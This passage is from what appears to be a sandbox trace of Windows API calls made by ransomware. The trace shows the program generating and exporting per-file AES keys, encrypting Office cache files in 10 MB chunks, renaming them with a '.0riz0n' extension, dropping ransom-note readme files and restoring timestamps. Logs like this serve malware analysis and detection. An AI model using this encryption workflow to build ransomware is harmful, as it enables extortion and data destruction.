pbData=0xfa2210*, pdwDataLen=0x17af858*=0x106f, dwBufLen=0x146f | out: pbData=0xfa2210*, pdwDataLen=0x17af858*=0x1070) returned 1 [0069.079] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfa2210) returned 1 [0069.079] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0069.079] WriteFile (in: hFile=0x1f0, lpBuffer=0xf47748*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf47748*, lpNumberOfBytesWritten=0x17af85c*=0x106f, lpOverlapped=0x0) returned 1 [0069.081] FlushFileBuffers (hFile=0x1f0) returned 1 [0069.095] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0069.096] NtClose (Handle=0x1f0) returned 0x0 [0069.098] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0069.100] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0069.101] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0069.101] GetLastError () returned 0x2 [0069.101] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed66a8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0069.101] GetLastError () returned 0x2 [0069.101] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.102] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0069.102] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0069.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0069.103] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0069.104] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3e03ed30, dwHighDateTime=0x1d59598)) returned 1 [0069.104] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0069.104] NtClose (Handle=0x1f0) returned 0x0 [0069.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0069.105] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0069.105] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0069.105] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0069.106] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0069.106] CryptDestroyKey (hKey=0x459b38) returned 1 [0069.106] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0069.106] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0069.106] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.106] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978)) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0069.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0069.106] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0069.106] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0069.107] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0069.107] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.107] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978)) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0069.107] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0069.107] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.107] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978)) returned 1 [0069.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.107] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.108] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.108] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0069.108] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfe076d70, dwHighDateTime=0x1d301be)) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.108] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0069.108] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0069.108] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0069.108] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0069.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0069.109] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0069.109] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0069.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x980) returned 0x1acf180 [0069.109] ReadFile (in: hFile=0x1f0, lpBuffer=0x1acf180, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesRead=0x17af85c*=0x978, lpOverlapped=0x0) returned 1 [0069.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x980) returned 0xf47748 [0069.111] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0069.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x980) returned 0x1acf180 [0069.111] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0069.111] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0069.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd80) returned 0xf47748 [0069.111] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf47748*, pdwDataLen=0x17af858*=0x978, dwBufLen=0xd78 | out: pbData=0xf47748*, pdwDataLen=0x17af858*=0x980) returned 1 [0069.111] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0069.112] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0069.112] WriteFile (in: hFile=0x1f0, lpBuffer=0x1acf180*, nNumberOfBytesToWrite=0x978, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acf180*, lpNumberOfBytesWritten=0x17af85c*=0x978, lpOverlapped=0x0) returned 1 [0069.112] FlushFileBuffers (hFile=0x1f0) returned 1 [0069.117] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0069.117] NtClose (Handle=0x1f0) returned 0x0 [0069.118] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0069.120] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0069.120] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0069.120] GetLastError () returned 0x2 [0069.120] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed66c8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0069.120] GetLastError () returned 0x2 [0069.121] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.121] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0069.121] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0069.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf) returned 0x30d630 [0069.122] WriteFile (in: hFile=0x1f0, lpBuffer=0x1acfb08*, nNumberOfBytesToWrite=0x2ed, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1acfb08*, lpNumberOfBytesWritten=0x17af85c*=0x2ed, lpOverlapped=0x0) returned 1 [0069.122] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x3e08aff0, dwHighDateTime=0x1d59598)) returned 1 [0069.122] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0069.122] NtClose (Handle=0x1f0) returned 0x0 [0069.123] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acfb08) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1acf180) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0069.123] CryptDestroyKey (hKey=0x459b38) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0069.123] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0069.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.123] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd)) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0069.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0069.124] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0069.124] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0069.124] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0069.124] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.124] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd)) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0069.124] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0069.124] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.124] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd)) returned 1 [0069.125] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.125] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0069.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0069.125] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0069.125] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0069.125] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfc967850, dwHighDateTime=0x1d301be)) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.125] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0069.125] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0069.125] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0069.125] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0069.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0069.126] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0069.126] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0069.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0069.127] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0069.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0069.569] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0069.617] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0069.618] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0069.735] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0069.778] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0069.858] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0069.858] WriteFile (in: hFile=0x1f0, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0070.013] FlushFileBuffers (hFile=0x1f0) returned 1 [0070.039] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0xa00000 [0070.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2d60020 [0070.039] ReadFile (in: hFile=0x1f0, lpBuffer=0x2d60020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2d60020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, lpOverlapped=0x0) returned 1 [0070.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x3770020 [0070.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2d60020) returned 1 [0070.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x3770020) returned 1 [0070.468] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2350020*, pdwDataLen=0x17af858*=0xa00000) returned 1 [0070.556] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=10485760, 